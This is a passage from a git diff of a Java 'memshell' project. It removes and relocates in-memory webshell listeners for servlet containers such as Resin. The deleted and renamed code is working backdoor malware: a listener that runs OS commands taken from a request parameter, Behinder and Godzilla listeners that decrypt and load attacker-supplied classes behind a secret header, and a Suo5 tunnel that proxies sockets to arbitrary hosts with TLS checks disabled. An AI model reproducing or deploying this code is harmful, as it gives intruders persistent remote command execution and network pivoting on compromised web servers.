HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - response = (HttpServletResponse) getFieldValue(request, "_response"); - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java deleted file mode 100644 index 7f1bd22d..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java +++ /dev/null @@ -1,117 +0,0 @@ -package com.reajason.javaweb.memshell.resin.behinder; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class BehinderListener extends ClassLoader implements ServletRequestListener { - public static String pass; - public static String headerName; - public static String headerValue; - - public BehinderListener() { - } - - public BehinderListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = ((HttpServletRequest) request).getSession(); - Map obj = new HashMap(3); - obj.put("request", request); - obj.put("response", getInternalResponse(response)); - obj.put("session", session); - session.setAttribute("u", this.pass); - Cipher c = Cipher.getInstance("AES"); - c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); - byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); - Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(obj); - } - } catch (Exception ignored) { - } - } - - public HttpServletResponse getInternalResponse(HttpServletResponse response) { - while (true) { - try { - response = (HttpServletResponse) getFieldValue(response, "response"); - } catch (Exception e) { - return response; - } - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - response = (HttpServletResponse) getFieldValue(request, "_response"); - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java deleted file mode 100644 index 239a0679..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java +++ /dev/null @@ -1,70 +0,0 @@ -package com.reajason.javaweb.memshell.resin.command; - -import javax.servlet.ServletOutputStream; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.InputStream; -import java.lang.reflect.Field; - -/** - * @author ReaJason - */ -public class CommandListener implements ServletRequestListener { - public static String paramName; - - public CommandListener() { - } - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @Override - public void requestDestroyed(ServletRequestEvent sre) { - - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - String cmd = request.getParameter(paramName); - if (cmd != null) { - HttpServletResponse servletResponse = this.getResponseFromRequest(request); - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - response = (HttpServletResponse) getFieldValue(request, "_response"); - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java deleted file mode 100644 index fd961b70..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java +++ /dev/null @@ -1,144 +0,0 @@ -package com.reajason.javaweb.memshell.resin.godzilla; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.lang.reflect.Field; - -/** - * @author ReaJason - */ -public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; - - public GodzillaListener() { - } - - public GodzillaListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute( - "payload", - (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) session.getAttribute("payload")).newInstance(); - f.equals(arrOut); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - response = (HttpServletResponse) getFieldValue(request, "_response"); - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/suo5/Suo5Listener.java deleted file mode 100644 index e4804054..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/suo5/Suo5Listener.java +++ /dev/null @@ -1,599 +0,0 @@ -package com.reajason.javaweb.memshell.resin.suo5; - -import javax.net.ssl.*; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.lang.reflect.Field; -import java.net.*; -import java.nio.ByteBuffer; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; - -/** - * @author ReaJason - * @since 2024/12/15 - */ -public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - public static HashMap addrs = collectAddr(); - public static HashMap ctx = new HashMap(); - - InputStream gInStream; - OutputStream gOutStream; - - public Suo5Listener() { - } - - public Suo5Listener(InputStream in, OutputStream out) { - this.gInStream = in; - this.gOutStream = out; - } - - public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) break; - bufferOffset += readResult; - } - } - - public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { - InputStream in = request.getInputStream(); - byte[] data = new byte[32]; - readFull(in, data); - OutputStream out = response.getOutputStream(); - out.write(data); - out.flush(); - } - - - private HashMap newCreate(byte s) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x04}); - m.put("s", new byte[]{s}); - return m; - } - - private HashMap newData(byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - return m; - } - - private HashMap newDel() { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - return m; - } - - private HashMap newStatus(byte b) { - HashMap m = new HashMap(); - m.put("s", new byte[]{b}); - return m; - } - - byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - synchronized void put(String k, Object v) { - ctx.put(k, v); - } - - synchronized Object get(String k) { - return ctx.get(k); - } - - synchronized Object remove(String k) { - return ctx.remove(k); - } - - byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - - private byte[] marshal(HashMap m) throws IOException { - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - byte[] data = buf.toByteArray(); - ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); - dbuf.putInt(data.length); - // xor key - byte key = (byte) ((Math.random() * 255) + 1); - dbuf.put(key); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key); - } - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshal(InputStream in) throws Exception { - byte[] header = new byte[4 + 1]; // size and datatype - readFull(in, header); - // read full - ByteBuffer bb = ByteBuffer.wrap(header); - int len = bb.getInt(); - int x = bb.get(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ x); - } - HashMap m = new HashMap(); - byte[] buf; - for (int i = 0; i < bs.length - 1; ) { - short kLen = bs[i]; - i += 1; - if (i + kLen >= bs.length) { - throw new Exception("key len error"); - } - if (kLen < 0) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 >= bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { - final InputStream reqInputStream = request.getInputStream(); - HashMap dataMap = unmarshal(reqInputStream); - - byte[] action = (byte[]) dataMap.get("ac"); - if (action.length != 1 || action[0] != 0x00) { - resp.setStatus(403); - return; - } - resp.setBufferSize(512); - final OutputStream respOutStream = resp.getOutputStream(); - - // 0x00 create socket - resp.setHeader("X-Accel-Buffering", "no"); - Socket sc; - try { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - // Cannot convert Integer to int - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - } catch (Exception e) { - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - - final OutputStream scOutStream = sc.getOutputStream(); - final InputStream scInStream = sc.getInputStream(); - - Thread t = null; - try { - Suo5Listener p = new Suo5Listener(scInStream, respOutStream); - t = new Thread(p); - t.start(); - readReq(reqInputStream, scOutStream); - } catch (Exception e) { -// System.out.printf("pipe error, %s\n", e); - } finally { - sc.close(); - respOutStream.close(); - if (t != null) { - t.join(); - } - } - } - - private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshal(newData(dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } - - private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { - while (true) { - HashMap dataMap; - dataMap = unmarshal(bufInputStream); - - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - return; - } - byte action = actions[0]; - if (action == 0x02) { - socketOutStream.close(); - return; - } else if (action == 0x01) { - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - socketOutStream.write(data); - socketOutStream.flush(); - } - } else if (action == 0x03) { - continue; - } else { - return; - } - } - } - - private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws - Exception { - InputStream is = request.getInputStream(); - BufferedInputStream reader = new BufferedInputStream(is); - HashMap dataMap; - dataMap = unmarshal(reader); - - - String clientId = new String((byte[]) dataMap.get("id")); - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - resp.setStatus(403); - return; - } - /* - ActionCreate byte = 0x00 - ActionData byte = 0x01 - ActionDelete byte = 0x02 - ActionHeartbeat byte = 0x03 - */ - byte action = actions[0]; - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - String redirectUrl = ""; - if (needRedirect) { - dataMap.remove("r"); - redirectUrl = new String(redirectData); - needRedirect = !isLocalAddr(redirectUrl); - } - // load balance, send request with data to request url - // action 0x00 need to pipe, see below - if (needRedirect && action >= 0x01 && action <= 0x03) { - HttpURLConnection conn = redirect(request, dataMap, redirectUrl); - conn.disconnect(); - return; - } - - resp.setBufferSize(512); - OutputStream respOutStream = resp.getOutputStream(); - if (action == 0x02) { - Object o = this.get(clientId); - if (o == null) return; - OutputStream scOutStream = (OutputStream) o; - scOutStream.close(); - return; - } else if (action == 0x01) { - Object o = this.get(clientId); - if (o == null) { - respOutStream.write(marshal(newDel())); - respOutStream.flush(); - respOutStream.close(); - return; - } - OutputStream scOutStream = (OutputStream) o; - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - respOutStream.close(); - return; - } else { - } - - if (action != 0x00) { - return; - } - // 0x00 create new tunnel - resp.setHeader("X-Accel-Buffering", "no"); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - - InputStream readFrom; - Socket sc = null; - HttpURLConnection conn = null; - - if (needRedirect) { - // pipe redirect stream and current response body - conn = redirect(request, dataMap, redirectUrl); - readFrom = conn.getInputStream(); - } else { - // pipe socket stream and current response body - try { - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - readFrom = sc.getInputStream(); - this.put(clientId, sc.getOutputStream()); - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - } catch (Exception e) { -// System.out.printf("connect error %s\n", e); -// e.printStackTrace(); - this.remove(clientId); - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - } - try { - readSocket(readFrom, respOutStream, !needRedirect); - } catch (Exception e) { -// System.out.println("socket error " + e.toString()); -// e.printStackTrace(); - } finally { - if (sc != null) { - sc.close(); - } - if (conn != null) { - conn.disconnect(); - } - respOutStream.close(); - this.remove(clientId); - } - } - - public void run() { - try { - readSocket(gInStream, gOutStream, true); - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - } - - static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - return addrs; - } - - boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - byte[] newBody = marshal(dataMap); - Enumeration headers = request.getHeaderNames(); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equals("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(newBody.length)); - continue; - } else if (k.equals("Host")) { - conn.setRequestProperty(k, u.getHost()); - continue; - } else if (k.equals("Connection")) { - conn.setRequestProperty(k, "close"); - continue; - } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, request.getHeader(k)); - } - } - - OutputStream rout = conn.getOutputStream(); - rout.write(newBody); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - @Override - public void requestDestroyed(ServletRequestEvent sre) { - - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = getResponseFromRequest(request); - String contentType = request.getContentType(); - if (contentType == null) { - return; - } - try { - if (contentType.equals("application/plain")) { - tryFullDuplex(request, response); - return; - } - - if (contentType.equals("application/octet-stream")) { - processDataBio(request, response); - } else { - processDataUnary(request, response); - } - } catch (Throwable e) { -// System.out.printf("process data error %s\n", e); -// e.printStackTrace(); - } - } - } catch (Exception ignored) { - } - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - response = (HttpServletResponse) getFieldValue(request, "_response"); - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java similarity index 95% rename from memshell/src/main/java/com/reajason/javaweb/memshell/apusic/antsword/AntSwordListener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java index 9218e804..7d2dc2df 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/antsword/AntSwordListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.apusic.antsword; +package com.reajason.javaweb.memshell.shelltool.antsword; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; @@ -87,6 +87,6 @@ public class AntSwordListener extends ClassLoader implements ServletRequestListe } private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - return (HttpServletResponse) getFieldValue(getFieldValue(request, "parameters"), "response"); + return null; } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderListener.java similarity index 95% rename from memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderListener.java index 34b0fe29..43302695 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.websphere.behinder; +package com.reajason.javaweb.memshell.shelltool.behinder; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; @@ -83,9 +83,11 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { HttpServletResponse response = this.getResponseFromRequest(request); + System.out.println(response); HttpSession session = ((HttpServletRequest) request).getSession(); Map obj = new HashMap(3); obj.put("request", request); + System.out.println(getInternalResponse(response)); obj.put("response", getInternalResponse(response)); obj.put("session", session); session.setAttribute("u", this.pass); @@ -110,6 +112,6 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe } private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response"); + return null; } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java similarity index 93% rename from memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java index 0deab211..b87fea64 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.apusic.command; +package com.reajason.javaweb.memshell.shelltool.command; import javax.servlet.ServletOutputStream; import javax.servlet.ServletRequestEvent; @@ -63,6 +63,6 @@ public class CommandListener implements ServletRequestListener { } private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - return (HttpServletResponse) getFieldValue(getFieldValue(request, "parameters"), "response"); + return null; } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java similarity index 96% rename from memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java index 85de3ec7..b39859d8 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.tomcat.command; +package com.reajason.javaweb.memshell.shelltool.command; import javax.websocket.Endpoint; import javax.websocket.EndpointConfig; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java similarity index 95% rename from memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java index 2c57b7ab..1e72820f 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.apusic.godzilla; +package com.reajason.javaweb.memshell.shelltool.godzilla; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; @@ -111,8 +111,6 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - // 触发 parameters 填充 response 对象 - request.getParameterMap(); HttpServletResponse response = this.getResponseFromRequest(request); HttpSession session = request.getSession(); byte[] data = base64Decode(request.getParameter(pass)); @@ -139,6 +137,6 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe } private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - return (HttpServletResponse) getFieldValue(getFieldValue(request, "parameters"), "response"); + return null; } -} \ No newline at end of file +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java similarity index 99% rename from 